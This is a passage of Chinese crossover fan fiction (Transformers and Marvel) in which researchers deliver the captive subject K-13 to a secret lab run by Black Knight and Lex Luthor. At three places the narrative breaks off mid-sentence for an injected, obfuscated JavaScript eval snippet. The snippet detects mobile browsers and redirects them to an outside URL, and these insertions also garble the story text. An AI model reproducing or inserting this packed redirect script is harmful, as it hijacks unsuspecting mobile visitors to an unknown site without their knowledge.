火花四溅的同时,这个炮塔的发射器被打歪了。炮塔想要缩回墙中,但只能一直像被卡墙角的扫地机器人一样无助地尝试着。 趁着K-13吸引了火力,照明连忙闪身奔向驾驶舱舱门,单手变形,不管不顾地撬开旁边的控制面板,并开始从内部重新布线解除锁定。 她的半条手臂都陷入一团乱糟糟的电线中;这些电线没有按照颜色编码以便于操作,这延缓了照明的动作。 她眯着光学镜,查看合适切断的线路。 炸药躲在箱子后,只露出半个头雕观看现状。他催促道:“还没好吗?我们可没有一整个周期的时间浪费在这个上面!” 照明扯出一根细小的线圈,犹豫了一下。她不是专业的工程师。虽然她曾修过一些仪器、拆过几个电路板,但那些东西的内部构造都更加简单。 不过有些原理都是相通的。 只要切断手动锁定的那条线路,可能会触发系统的紧急协议,将舱门自动解锁。 她看了一眼K-13,果断切断了线路。 驾驶舱门带着嘶嘶声不情愿地滑开了。 三人的光学镜都是一亮。 照明招呼道:“快进来!” K-13敏捷地跳了进来,炸药紧随其后。等到驾驶舱的门关上,把那些炮塔隔绝在外,她们才暂时得以喘息。 炸药咆哮道:“终于!让我看看是哪个炉渣的飞行员决定在这种时候锁定机舱——” “……这里没有人。”照明喃喃。 驾驶舱一尘不染。没有想象中的驾驶员,只有一排显示屏,同步显示着飞行的高度、速度和航线。 “我们在预设航线上。” 照明赶紧接手,在主控台上覆盖了授权指令。 【系统重置成功。返回正常飞行模式。】 外面的声音安静下来,炮塔应该停止攻击了。 炸药:“那个军用飞行器是什么情况?” 照明看着主控台的显示屏。 雷达上的异常信号已经消失了。经过这番折腾之后,他们似乎机缘巧合地和那架不明飞行器擦肩而过。这或许算得上一个好消息? 发现不用正面作战,炸药轻敲着屏幕,稍微平静下来了一些:“这条航线的目的地应该就是进行演习的地方了吧。看情况,我们还有半个循环就能到了。” 照明不知道迎接他们的会是什么。 不过她也认为,运输机上的系统故障大概只是意外事件。黑骑士可不像是那种朝令夕改的机子。 再说了,如果她想处理掉K-13,在研究所不是更方便动手吗?没道理反而要绕上这么大一个圈子。 这样想着,照明看向K-13。 在这场战斗中,她一直表现得格外配合,是个称职得近乎理想的队友。她用实际行动证明,即使离开了隔离仓,她也依然像忠诚的士兵那样服从。 照明曾暗暗担心过她会被迫使用项圈的控制器,但现在看来,是她多心了。 见照明看自己,K-13歪了歪头,冲她骄傲地笑了笑。 她受伤了。作为炮塔重点攻击的目标,她在战斗中不可避免地多次中弹。 她的装甲上有些地方裂了开来,背后收纳着的金属翅膀被震荡弹打得有些变形,几条裸露在外的线路闪着微弱的残留电流,一闪一闪的。 到达目的地后,会有人帮她处理这些伤吗? ……大概不会有吧。 照明的芯莫名地软了一下。 她转身打开驾驶舱门,决定去物资里翻找看看有没有医疗工具,帮K-13稍微处理一下伤口。 除了那个被K-13击中的炮塔,其余炮塔已陆续缩回。 三人回到了主货舱,照明开始清理冒着烟的电路板和破碎的金属,希望能找到一些还能用的东西。 她把一个倒下的座位推开,露出了一个还算完好的箱子。它摆放的位置比较隐蔽,卡在角落,因此受损也很轻。 照明试图打开箱盖,但当她拉开闩锁时,她听到了一些声音;声音被刻意压低了,在飞船的背景噪音下几乎被掩盖过去,只是照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384893|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明靠得很近,才让她没有错过。 她彻底打开箱盖,差点没有惊呼出声。 里面的东西绝对不在任何货物清单上! 里面——被厚实的金属布垫和储氧气囊团团包围着的——是两个绝对是人类的身影! 两双眼睛和一对红色光学镜相遇了。 史蒂夫·罗杰斯将手指按在嘴唇上,身体紧绷但保持沉默。旁边是他的朋友巴基,也照样比划着“嘘别说话”的手势。 照明立马回头看炸药。 炸药没注意这边,他正查看自己的腿,骂骂咧咧地在抱怨着什么。 就在这一瞬间,风语那天的话又在照明的处理器里浮现。 “我已经安排好了……下一批物资运输地点就在美国附近,我会偷偷把他们带上去……” 风语!!! 照明连忙低头查看史蒂夫他们的状态。 他们身上都绑着便携式氧气包,这是一种专为狭小空间设计的战术供氧装置。 装置内部,恒压的气囊在微微收缩,每次吸气都会带动一个绿色的指示灯闪烁,表示装置仍在运作。他们就靠这个维持顺畅的呼吸,躲在黑暗、封闭的物资集装箱里。 照明不知道风语从哪里弄来这个的,但看来她绝对是挺喜欢这两个人类朋友的。 不过这并不能成为风语瞻前不顾后行为的辩护理由! 照明疲惫地置换了一下气体。她受到的惊吓实在太多了,已经足足够她申请三次精神损失费,如果有人愿意给她报销的话。 史蒂夫的神色突然变得警惕,他朝照明比了几个手势,似乎是在询问什么。 照明顺着他的视线回头,发现K-13不知何时已经从她身后探出了头,正饶有兴趣地盯着两个陌生人看,甚至还微微俯身,像是很想上手摆弄他们几下。 照明赶紧伸手挡住了她,含糊地小声解释道:“我会找机会让你们走的。” 她也做出了一个“嘘”的手势,迅速地又把箱盖合上了。 —————— 娜塔莎忽然说了一句:“奇怪。” 克林特问:“怎么了?” “刚刚雷达好像探测到一架不明飞行物,但只是一闪而过,随即又消失了。像是屏蔽了我们的探测那样。” 克林特思索了一会,说:“Nat,我不会说那是你的误判。只是,那可不是我们的目标所在。我们还有正事儿要干呢。” “也有道理。” 富勒也对此表示赞同。的确,不久之后就要到达那个隐蔽的基地了。 在数天前,这两位神盾局特工通过布莱斯将军给的手机联系上了他。 神盾局估计挺看重“美国队长”的再次出现,为此派出了“黑寡妇”娜塔莎和“鹰眼”克林特这一对配合已久的搭档。 在他们的预测中,这只是一个潜伏营救任务,并不需要火力交战,这也不怪他们没有派出更加有战斗力到能应付变形金刚的特工。 说来也巧,汽车人的基地并没有发现那里有虎子的据点。 要不是神盾局的特工在探索北极附近的时候,亲眼所见巨大的机械生命体把他们的人带走,再加上后续又探测到未知的信号,这次行动恐怕根本不会被批准启动。 他对向自己的外星朋友们隐瞒这件事略有些不安。 不过,汽车人们此刻正全力应对另一场更关键的战役。这终归只是一次小规模的救援行动,去打搅他们的部署未免太不合时宜了。 他只是希望一切能像军方预计的那样顺利。 昆式战机划破寒冷的云层,朝着北极边缘那片无名的雪原飞去。 26. 人工智障(待修) 最后,在满地乱七八糟的破烂中,照明还是找到了能给K-13打上的医疗补丁。 炸药只得到了照明视若无物的一瞥。不过他也自知和照明没什么同事情谊,于是一边小声抱怨着,一边一瘸一拐地拿走了剩下的应急医疗工具,坐在一旁对付起了自己的伤腿。 这会通讯恢复了正常,照明想了想,终究还是一脸不爽地给风语在通讯里发了几条信息吐槽。 过了一段时间,运输机降低了飞行的高度,滑入低空。 运输机的推进器和喷射口切换了角度,这使得这架飞机先是悬停在建筑的顶端平台上,随后缓缓落下,金属支架熟门熟路地卡入了平台处的凹槽之中。 这架运输机采用了赛博坦科技进行制造,像直升机那样悬停和垂直降落完全没问题。 照明带着K-13走下运输机。 她观察四周,远处的天空阴沉沉的,铁灰色的云朵翻卷着,低垂得仿佛随时会落在面前这个破旧建筑的顶端。 这个地方打眼看去,似乎是一个初步完工、但未能投入使用的被遗弃建筑。 半成品的大楼墙壁斑驳,由生锈的钢铁和混凝土构成。有些地方尚未建造完成,钢筋裸露在外头清晰可见,让人很难想象这里能有先进的战斗模拟系统。 不知道是项目资金链断裂了,还是开发商跑路了?但无论是怎样好像都也情有可原——毕竟这地方实在偏僻。 照明站在楼顶极目远眺,好几公里都看不着一个人影。 炸药也走了出来,疑惑不解地四处张望着:“这里就是目的地了?我看不到一个机子。” 这也和照明的想象相距甚远。 “这里看起来有点古怪。但导航的目的地就是这,应该没错。” 就在照明话音刚落时,她的不远处,她本以为是地面的一部分徐徐打开,如诡秘的舞台拉开了一角帷幕。 这是一个隐蔽的金属活板门。 从活板门下,被阴影笼罩的通道之中,一个机器人走了出来。 之所以是用“机器人”,而非“变形金刚”或者“机械生命体”,是有原因的。 他不是赛博坦人。不,他很难被看做是一个有火种的“生物”,甚至是戴着战斗面具的量产机械兵们都比他看上去要活生生得多。 他应该是属于那种人类制造的机器人。 照明不是没有在网络上和现实里见过人造的机器人,她实验室里也有非智能医疗机器人作为助手。 但是人造机器人一般不会那么贴近赛博坦人的外表而制造,这个机器人的制造者明显了解赛博坦人,以至于给照明带来了一种恐怖谷效应。 他的金属机体不是由活性金属,而是由人造的盔甲拼接而成。 几道细长的光带在他的躯壳上悄无声息地闪烁,沿着“腰部”的两侧延伸,以人工的那种不自然又冷冰冰的节奏跳动。 他的“光学镜”没有具备转动的功能,只是直直地看着前方。 “这东西可真有点瘆得慌。”炸药咕哝着。 机器人四平八稳地移动,走到他们面前便定住了脚步,说话了。当他说话的时候,他的嘴巴也没有动,他所发出的语音显然是远程编程好的:“识别完成。身份确认。两位研究员……请跟我来。” 炸药问:“你是谁?黑骑士所长派来的?” 照明也问:“运输机上的物资会有人负责搬运吗?我有些重要的设备需要使用,得知道它们最终被放哪儿了。” K-13打量着机器人,不知道芯里在想些什么。 机器人没有回答他们的任何一个问题。 相反,他转身走向入口,只在活板门的边缘短暂停留了一下,像是等待他们跟上。 他们只好不情愿地跟着他走下去。 照明忍不住瞥了一眼K-13,眼神中带着一丝不易察觉的担忧。然而,K-13并不显得很担心,似乎一点也不烦恼,反而有些跃跃欲试。 好吧,也许她只是把自己的不安投射到了K-13身上。 入口也并不显得狭窄逼仄,是一个正常体型的变形金刚稍微矮身就能钻进去的大小。 他们沿着一条螺旋下沉的通道缓缓前行,通道两侧由强化过的玻璃制成,可以俯瞰整栋建筑的内部结构。 透过玻璃,照明这才看到了这栋楼的真实一面。 光滑的金属地面反射着冷光,数据终端闪烁着复杂的图谱,各式检测仪器和武器令人目不暇接。在某个地方,她还注意到一排小型飞行器停靠在角落,似乎随时可以启用。她默默将这一切记在芯里。 这种对比令人惊叹。很难想象外部如此衰败的大楼,里面居然是一派尖端的科技,带着一种明显的军事风格。 就在她观察得入神时,K-13忽然轻轻戳了戳照明。K-13没有过多张望,而是看着她,金色光学镜安静又明亮,又看向另一个方向。 照明测过头看去,恰好看到几个小小的身影围着一台巨大的机械设备,正在调试什么。 还有……人类。 “嘿。”炸药快走几步赶了上去,用两根手指敲了敲机器人的肩膀,“我们现在是去哪?难道不应该先让我们安顿实验体,再讨论一下模拟战斗演习的计划吗?” 机器人停了下来,身体没动,只把头部扭了一百八十度转向炸药。 “干、干吗?” 机器人重复了一句程式化的台词:“对不起,我无法回答您的问题。” 他把头扭了回去,继续前行。 照明:“我们的目的地是哪里?” 这次机器人索性连头都不扭了:“对不起,我无法回答您的问题。” 见机器人不会攻击他,炸药瞬间嚣张了一些,耍起了威风:“如果你以为我们会像处理器残缺的机那样,跟着你走进随便哪个鬼地方,那你可就大错特错了——” 机器人如每一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400599|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人工智障那样,心平气和地回复:“对不起,我无法回答您的问题。” “喂,你给我听着,我们可是高级研究员。如果你以为可以这样不尊重我们……” 三人一路跟着那台程序设定死板的机器人前进,路上大部分时间都被炸药对它单方面的嘲讽与废话填满。 这趟无止境般的旅程终于接近了尽头。 当他们穿过最后一道走廊,站在一个很像终点——因为机器人站在一旁一动不动了——的金属机械门前,忽然,伴随一阵电流噼啪声,一个熟悉又让人不安的身影在门前缓缓浮现了。 这个机子有着黑灰色的涂装,还有一对带着疯狂笑意的红色光学镜。 是黑骑士。 “我想我应该说,欢迎。” 她宛如幽灵般现身,带着一种令人屏息的压迫感。她的声音带着回响,被走廊的结构层层放大,在墙壁间回荡出一种诡异的庄严感。 K-13在黑骑士前微妙地挺直了机体。照明忽然想到,这是她第一次看到黑骑士。 但是所长怎么会突然出现在这里?据照明所知,他们离开的时候泽卡莱亚还提到要向黑骑士去汇报。黑骑士不可能后发先至,难道她开了陆地桥? 随着光线的闪烁,照明意识到眼前的黑骑士只是一个全息投影。 “嗯,看样子你们已经开始对我的实验室感到好奇了。你们的疑虑也有道理,毕竟这些设备的背后,是为变革而打造的力量。” 她的目光似乎扫过每一个人,眼神里没有任何感情的波动,但她的语气却带着一种近乎疯狂的愉悦,仿佛她正处在掌控一切的至高点。 “这次的实验非常简单。”她缓缓说道,语气又忽然转为严肃,“你们会见识到K-13真正的潜能。研究员的任务,是全程监控并管理K-13的状态,确保她不会失控。毕竟,没人希望看到那种‘不必要的’暴走。我们无法允许这样的变数,尤其是在这样一个重要的时刻。” 接着,黑骑士的表情突然变得狂热,仿佛她已经预见到某种极端的成果:“我不想急于揭示太多,但你们要明白,这个宇宙,已经有越来越多的人在渴望看到变革发生,甚至是——某些人类,比赛博坦人更了解什么是力量。理解这点,你们也许就能明白我为什么需要你们,需要这个项目。” 她停顿了一下,目光似乎在他们身上扫过一圈,突然变得戏谑:“当然,你们也可以选择不明白。真理总是掌握在少数人手中,我说得对吗?” 话音刚落,黑骑士的投影突然消失。空气中回荡着她最后那句带有莫名意味的话,留下的却是难以名状的沉默。 K-13没有说话,但她的目光冷冷地盯着实验室的深处,似乎已经开始感受到某种危险的气息。 所以黑骑士的确想要利用K-13、利用她们的火种融合实验来实现某种宏大的计划。 这场实验将会带来什么?黑骑士又能获得什么呢? 27. 彼时此刻 初级研究所内。 风语带着一身风雪走出载梯,赶紧拿了一条金属布擦着机体。 她拿刷子扫去外装甲缝隙里的冰渣子,伸手按摩冻得有点僵硬的线路。 “可冷死我了!”她叹道。 跟在她身后的小兵们也交头接耳、七嘴八舌地好好交流了一阵子,互相拍打着机体上的冰雪。 风语满足地听了一会,然后把空间留给他们放松,自己去核对了一下物资运输的情况,特别是某架运输机。 虽然以她的权限看不到具体的目的地,但是她知道这架运输机模糊的去向是美国,且能够稍微伪造一些物资重量和检查的记录,这就够了。 尽管在有些地方,她不得不承认自己很“粗线条”,用照明的话是这样说的。 她还迫于朋友的“威胁”,顶着一块写着“我是一个愚蠢的能量块”的数据板,站在能量块堆中间拍下了一张屈辱的照片;数据板下方还签上了自己的名字,以表示主人真诚的反思之芯。 风语有点小委屈。 没错,她是捡回来了人类,但就结果而论,这难道不是救了他们吗?他们一个被埋在雪中,一个和飞机一起冻在冰块里,怎么看都像是快被冻停机了。她完全是一片好心啊! 平心而论,这事她现在算是干得不错吧?她对自己的处理方式满意极了。 她后来也以自己的方式弥补了人类们,给他们用激光烤一些叫做鱼的有机生物,还亲手把他们送入了通往家乡的运输机。 这一段时间给她原本枯燥无味、疲惫饥饿的生活注入了一针电路加速剂般的新鲜感…… 好吧,她承认,捡人类回来大部分原因还是为了好玩和新鲜感。 风语轻轻哼着从前在油吧里学来的小曲,和几个路过的量产小兵们打招呼。 有一个小兵问道:“长官,你准备去哪里?” 风语回答:“我去一趟医务室。哦,没什么大事,就是医官通知我去进行一些常规的检查。” 小兵们这才放下芯来离开了。 风语继续朝着目的地前进。 今天的搬运任务比从前少了,不知是否意味着指挥中心里什么项目的竣工? 不过,风语很少深入考虑这些和她关系不大的事情。因为这些事情对于她来说,只是浪费她内存空间的冗余数据。 机生若一辈子都囿于揣测和谋算中,那还有什么乐趣可言?——当揣测和谋算用于八卦时除外。 拐了几个弯,正走到医务室门前,风语的通讯里忽然收到了两条信息。 她一检查,发现是照明发来的。 升职不加薪:[等我回去,我要把你所有私藏的高纯都抢走。] 升职不加薪:[连你藏在医务室里面的那一块,别以为我不知道。就当我提前警告你。] 迟早四在办公室:[啊?你怎么知道的?] 迟早四在办公室:[诶,等一下,发生什么事了吗?你为什么突然这样说啊?] 迟早四在办公室:[想喝高纯也可以直说嘛,我又不一定不给。] 风语又接连发了几条信息,但对面的照明没有再回复。 她耸耸肩,把小小的疑惑抛之脑后,走进了医务室。 —————— 医务室里有一股安静祥和的氛围。 不知道是什么试剂,散发出了一股甜丝丝的味道,让风语心情舒缓,磁场一阵平静。 “你们组又去收集和搬运人类的设备了吗?”伊迪斯的语气一如既往的温柔,“你有些线路的温度降低到安全线以下有一段时间了。” 她的手灵巧地在风语打开的外甲下移动着,检查着线路,就像是天生为了做这样的工作打造的一样稳定。 风语咽下一口电解液,低声道:“只是一点点冻僵而已。没什么大不了的。” 这位行政主管兼医官,对待别人的态度总像是春风拂面,但没有人会粗暴对待她。 不仅是因为伊迪斯有能力,还因为在这里,你不会希望得罪一个军衔比自己高的机子,尤其是这个机子还是一个医疗单位。 “我很高兴你来做了这次检查。绝大多数机子只会推三阻四,或者转头就忘,根本不放在芯上。” 伊迪斯在把风语的装甲固定回原位时微笑着:“问题不严重,没有永久性的损坏。只是这些部分在反馈给中央处理器的时候,响应会有些慢。” “我会给你上一个稳定器,但你最好暂时避开极端寒冷的气候,好吗?” 风语有点尴尬地点了点头。 她始终有点不习惯这种过于温和的对待,就好像要把她当做个幼生体似的;在伊迪斯面前,她手和脚都不知道往哪放了。 “说起来,”伊迪斯拿起了稳定器补丁,“听说所长对K-13相关的实验设备要得很急,但最为关键的火种培养箱一直出问题。这对后勤部的大家压力会很大吗?如果你们那边有需要,我可以帮忙反映一下。” 风语回忆了一下。维修相应的实验设备一直是后勤部门中设施维护组的工作,几乎不用她所在的物资供应组来操心。 不过毕竟同处后勤部,她也了解一些。 她不愿意让伊迪斯失望,尽她所知回答道:“应该来得及。不过我听说他们可能要换新设备了。据说是要替换掉监测系统,用更高精度的型号。可以追踪到亚能级能量波动……不过也有说是替换中枢、也有人说是更新了电磁抑制器。” 伊迪斯一奇:“你们后勤部那边难道没有一个确切的通知吗?” 风语摇摇头。 “没有,连组长也只听说个大概。反正每个部门听到的都不一样。” “……我明白了。” 伊迪斯结束了手上的工作。 “好了。照顾好自己。别让这些检查进一步发展成手术了。” 风语乖乖点头:“是的,长官。” —————— 风语推开门,办公室的灯光在她眼前晃了一下。 她一边关门,一边准备将处理器从工作相关的模式中切换到休闲的模式,结果下一秒,她倏地停住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411346|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步。 有点不对劲。 她眯起光学镜,快速扫描了一遍自己的办公室。 ……看起来没有什么异常,但是该说是第六感还是什么? 风语迟疑了一下,用英语轻声喊:“……史蒂夫?巴基?” 房间里一片安静,没有人回答她。 这是自然,人类们早就被她妥善地送走了。也可能是她找史蒂夫他们的踪迹找习惯了,现在竟然变得疑神疑鬼起来。 风语放松了下来,在桌前的椅子上坐下,机体后仰,视线漫无目的地四处飘荡着。 就在这时,她发现了这种违和感的真正来源——在她上方循环管道的通风口,原本应该牢牢卡在位子的金属格栅,此刻却微微错开了一道细缝。 那是一种极其轻微的偏移,很难仅凭光学镜看出来,如果不是风语一直颇为关注那里,以及她这会儿恰好靠在椅背上、角度正对着天花板,她还真不一定能发现这个微小的变化。 风语眨了眨光学镜。 这格栅几乎从不需要打开——她的办公室没有会散发出高热的设备,也没经过主要的循环管道。也只有她自己知道,因为她在里面藏了一小块没喝完的高纯,金属格栅上面的固定螺钉被她替换过,别人拧得再紧也没有办法把它恢复原状。 “这事有点奇怪。”风语喃喃道,在照明“我要把你所有私藏的高纯都抢走”这一威胁短信下,她不由得对自己的私藏产生了一点关注和担忧。 于是她打开抽屉拿出工具,打算打开金属格栅检查一下。 然而,就在她掀开金属格栅时,一支箭矢却忽地从通风口里射出! 风语下意识地松手侧身躲避,箭擦着她的头雕飞过,钉进身后的墙体,“嗤”地一声炸出一蓬烟雾。 “住手!”她叫道,虽然自己也不确定是在对谁喊话。 她转头看向箭矢的残余部分。这支箭矢似乎过于短小了;不是为变形金刚,而是为人类打造的武器。 ……而且在刚刚的一瞥中,她好像看到了几个人类匍匐的身影?? 风语警戒起来,小心地将一盏反射灯伸入通风口。 这次没有出现任何异常的情况。 人类的身影已经神秘地消失了。现在,在亮度颇低的管道内,只有她的小小高纯块落在那里,但绝对不在原来的位置,恰好佐证了刚刚她所看到的景象不是幻觉。 风语站在原地好几纳秒,才回过神来。 她瞪着桌子上方的通风口,狠狠置换了一下气体。 “这次真的不是我带回来的啊。” 她不确定刚才那几人是不是认识史蒂夫……但她唯一确定的是,她不能报告自己的上级。 因为一旦有人开始查这件事,很容易就会顺藤摸瓜地查到上次她犯下的错误,更别提她现在都不确定史蒂夫他们有没有安全抵达目的地。 风语坐回了椅子上,把面甲捂在双手之间。 闷闷的声音从她手间传出:“说了一次谎就要继续说一百次谎……我现在知道错了。” 28. 我不做人啦 “你这么紧张干吗?K-13又不是真要上战场。这些模拟出来的东西连火种都没有,只是一帮空气糊成的靶子。” 面对炸药的质疑,照明终于停下了对监控中的K-13身影的注视。 “我没有紧张。”照明正不爽着,张口就道,“管好你自己——不好意思,我又忘记你没办法做到这一点了。” 炸药哼了一声,面色不虞,却没有怎么发作。 “就算你再伶牙俐齿也不会给你带来什么好处。再说了,你不会是舍不得K-13吧?” 照明没吭声。 炸药自顾自地说下去,露出一个意有所指的□□:“我懂,我懂。你和K-13那么亲密……它外表看起来确实还挺像那么回事的。所长肯定会留着它一条命的,好给你们俩之后火种融合,不然巨狰狞幼生体怎么办?” 照明慢悠悠地说:“我明白了。” “你明白了什么?”炸药一愣。 照明用同情的眼光看着炸药:“你这样在意这点也很正常。不过没必要这么嫉妒。我相信即使是你,也会有找到火种伴侣的可能的。” “啊?我才没有嫉妒——” 照明淡淡地说,一副不相信的语气:“不用解释了,我明白。” “你根本不明白啊!”炸药急得跳脚,完全忘记了最开始打算羞辱照明的目的。 指令被远程下达了。 主控台操作终端的指示灯闪烁了三次,意味着演习即将正式开始。 照明没有继续和炸药瞎扯,思绪又飘回了不久之前。 当时,在黑骑士的全息投影消失后,金属机械门徐徐滑开了;他们进入了内部。 黑骑士没有刻意去隐瞒她和人类合作的事实,甚至有些引以为傲;不然他们在进入这个基地的时候,K-13也不会如此轻易地看到有人类的身影。 不过,房间里面没有任何正在操控实验的人类。 房间空空如也,总体上和初级研究所的实验室颇为类似,相关设施带有人类的科技风格。主要控制台处,几块全息屏悬在半空,正在循环展示一份方案。 这个所谓的“模拟战斗演习”的运行逻辑,可以按照其字面的意思,被拆解为三个部分。 模拟的意思是,K-13将要面对的敌人并不是真实存在的个体。它们是由全息投影和战术算法构成的迷惑人视觉的产物,没有实体,也没有自我意识。 然而,战斗却是货真价实的。 测试的地点是实体测试场,地形可以根据战术算法随时变化;那些虚拟的敌人尽管本质是投影,但搭载了战斗指引系统,系统能够借助测试场中内置的力场与武器,模拟出真正的攻击效果。 换句话说:敌人纵然是虚假的,但他们会对以真身出战的K-13造成真实的伤害。 至于演习,更准确的来说应该称之为测试,因为演习并不会造成实际上的损害后果。 这是一场不在意实验体之后状况的高压测试。 这很奇怪,连炸药都能看清楚这点。照理说,如果黑骑士想要K-13活着和照明产生小火种,那就不应该如此不顾及K-13的安全。 K-13将要迎来三场战斗。 这三场战斗一场比一场更加艰难,条件更加匪夷所思,很有卡隆那边的角斗场之风,与之不同的是,角斗往往至少还有表面上的“公平”可言。 据方案上写,这三场战斗的目的是分别测试K-13作战能力的三个不同方面,作战的持久性、最高的战力和战术安排执行能力。 事已至此,照明除了寄希望于K-13的战斗能力足以应付这些之外,竟别无他法。 对于研究员来说,照明和炸药确是不需要做什么,或许只要在K-13不服从、不再战斗的时候按下控制项圈的按钮,以疼痛威胁她继续战斗; 以及操控系统按照方案模拟出环境,这个系统对于他们来说,只要简单地学习即可上手。 但对于实验体来说,可并不像黑骑士说的那样“非常简单”了。这场演习带有某种实验性质,已经非常接近实战强度。 黑骑士没有预留出给他们接风洗尘的时间;在照明和炸药熟悉了系统和设备操作之后,这个演习就一刻不停地向前推进了。 那个人造机器人将K-13带到了房间角落的一个装置处。 K-13在它的指引下,站在规定的区域中。 当她站定后,一圈圆环状的蓝光在K-13脚下亮起,将实验体和两位研究员隔离开来。 照明走了过去,低声嘱咐道:“小心点。……一切都会没事的。” K-13没有说话,冲她眨眨光学镜,嘴角勾出一个轻浅的微笑。 不知道她是特意想让照明宽心,还是真心觉得这一切的折磨都如同一场游戏,不值得让她惧怕。 随着装置发出白光,K-13的身影被完全吞噬,在光影与电流交织的中心消失了。传送装置完成了它的使命。 而现在,K-13站在测试场地中央,颈部的合金项圈闪亮着,警戒着四周,像是一台被完美校准过的战争兵器。 这个测试场有多重监控系统,不仅仅是场内的墙壁里有一些监控点,还有灵活巡航拍摄的无人机,仿佛场内每一寸空气都在被记录。 测试场内的每一个角落、K-13战斗时的每一个动作,都会被来自不同角度的镜头捕捉下来,实时传送至照明所在房间里的主控台。 系统会根据战斗的关键程度,自动筛选出“最具价值”的画面,在中央的全息屏上进行放大播放。 照明知道自己应该做的事。 她按下按钮,炸药双重确认后,程序开始运行。 演习开始,测试场地的系统也随之启动了。 沉睡的系统苏醒了,如同被巨人握在手心把玩的积木,开始变幻出具体的景象来—— 测试场的地形首先开始改变。K-13发现了空间的变化,她向前迈步,避免自己受到影响。 周围本是一个碗形的墙壁缓缓下降、移动,原本充满科技感的场地不见了,取而代之的是一角苍凉荒芜的末日废土。 随着模拟系统开始计算,投影开始沉入现实。 抽象的结构被物质包裹,躯体由下而上逐层成型,数据从视觉变为触觉。你能听见他们的脚步,能闻到他们武器散发出来的火药味。 残破的城市结构后面,出现了敌人们的身影。 敌人是一大群装备精良的机械兵。并不是霸天虎制造出来的那种量产机,而应该是被人重新设计过。 照明此前从未在赛博坦或者任何地方看到过这款机械兵,不知道他们的战力如何。 他们训练有素地朝着K-13这边前进着。 照明早就知道这是模拟出来的,却还是感受到一种恍若实质的压迫感。 K-13转身飞纵而去,她矫健地攀援上大厦的废墟,照明猜测她并不打算和敌人正面硬碰硬,而是先争取制高点慢慢击破。 第一场战斗开始了。 —————— 屏幕里,各个监控点位传来的影像在上面密布而规整地排列着。 在中间放大的画面中,是K-13在废墟间穿梭的身影。 K-13一次加速快跑后落地重击,扬起的冲击波将三个机械兵震翻出去。模拟的士兵被一击贯穿,随即消散在空气中。 留着红色半长发的男人仰起头,看着K-13一个闪身,抬手就撕裂了好几个模拟出来的精锐战士。 他靠在椅背上,翘着二郎腿,十指松散地交叉着。屏幕散发的光芒在他深色的虹膜中微弱地反射,他嘴角勾起一个饶有兴味的笑来。 在他身后,黑骑士的投影浮现出来。 她走上前几步,站在人类旁边,双臂交叉,低下头雕,以观察着实验场中的情况。 他们两人都没有立即说话,然而房间的一角,有另一个人先沉不住气了。 “它不够听话。如果是我来管理,我会植入直接控制模块,省去那些冗余的、不知道什么时候才能看到结果的实验。” 这是一个坐在轮椅上的男人,但长相就没有红发男人那样正常而斯文了。 他露出在外的部分遍布凸起的伤疤,破损的皮肉下还有金属管线,让他看起来像是疯狂科学家一次失败尝试的产物。 那个人造的机器人,在K-13被送入试验场之后,就离开了照明所在的房间,来到了这里。 他把手放在男人的轮椅上,缓缓地将他从角落里推了出来。 此刻,人造机器人的腰间伸出了数条连接线,正和轮椅男人连接在一起,主要集中在他的上半身和头脑部位。 刚刚轮椅男人说话并没有张嘴,他的话是通过机器人的嘴“说”出来的。 人造机器人没有思想,轮椅男人除了眨眼和思考之外无法动作,他们你中有我、我中有你,连接在一起,才变成了一个完整的个体。 黑骑士看了轮椅男人一眼,立即如看到了什么脏东西一样,厌恶地把光学镜移开了。 她冰冷地说道:“你也说了,‘如果’是你来管理。我们不是在造一台行尸走肉,像你身边那个恶心的东西一样。” 轮椅男人应该是愤怒的。 但他身体破破烂烂,没法自己说话,需要借机器人之口,所以发出的声音还是那么平板。 “我只是想要效率,更高的效率。我们明明已经得到了这么优秀的实验样本!如果是为了那个目的,怎么制造真的重要吗?K-13的力量你们也都看见了,只要卢瑟先生愿意结合机械党原有的研究进展——” “呵,那宝贵资源就会这样被你们拆掉、分解,活生生在你手里浪费掉。人类的眼界和你们的寿命一样,如此短浅。好在有的人类并不是这样。” 莱克斯·卢瑟靠在控制室边缘,视线始终追逐着场内K-13战斗的身影。 他不断抛接着手中一个蓝色的小球,悠然自得。 直到两位盟友之间的火药味渐浓,他才举起一只手示意两人停下争斗。 他的话音带着笑意和警告:“你太着急了,塞拉斯。” 塞拉斯口气软了下来:“卢瑟先生,我没有质疑你。我只是在好奇我们合作伙伴完成任务的能力。一个新的变形金刚的诞生能有多难?我的身体……可没法这样一直等待下去。” 卢瑟终于看向他,嘴角扬起一抹极轻的笑。 